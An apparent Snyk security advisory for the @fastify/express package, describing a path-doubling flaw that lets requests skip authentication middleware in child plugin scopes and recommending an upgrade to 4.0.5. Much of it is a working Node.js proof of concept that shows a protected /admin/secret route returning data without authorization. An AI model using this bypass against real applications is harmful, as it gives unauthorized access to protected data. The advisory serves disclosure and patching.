Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade @fastify/express to version 4.0.5 or higher.
@fastify/express is an Express compatibility layer for Fastify
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of middleware paths in the onRegister function. An attacker can gain unauthorized access to protected routes by exploiting the path doubling issue, which causes security middleware such as authentication, authorization, and rate limiting to be bypassed in child plugin scopes.
const fastify = require('fastify');
const http = require('http');
function get(port, url) {
return new Promise((resolve, reject) => {
http.get('http://localhost:' + port + url, (res) => {
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, body: data }));
}).on('error', reject);
});
}
async function test() {
const app = fastify({ logger: false });
await app.register(require('@fastify/express'));
// Middleware enforcing auth on /admin routes
app.use('/admin', function(req, res, next) {
if (!req.headers.authorization) {
res.statusCode = 403;
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({ error: 'Forbidden' }));
return;
}
next();
});
// Root scope route — middleware works correctly
app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
// Child scope route — middleware BYPASSED
await app.register(async function(child) {
child.get('/secret', async () => ({ data: 'child-secret' }));
}, { prefix: '/admin' });
await app.listen({ port: 19876, host: '0.0.0.0' });
// Root scope: correctly blocked
let r = await get(19876, '/admin/root-data');
console.log('/admin/root-data (no auth):', r.status, r.body);
// Output: 403 {"error":"Forbidden"}
// Child scope: BYPASSED — secret data returned without auth
r = await get(19876, '/admin/secret');
console.log('/admin/secret (no auth):', r.status, r.body);
// Output: 200 {"data":"child-secret"}
await app.close();
}
test();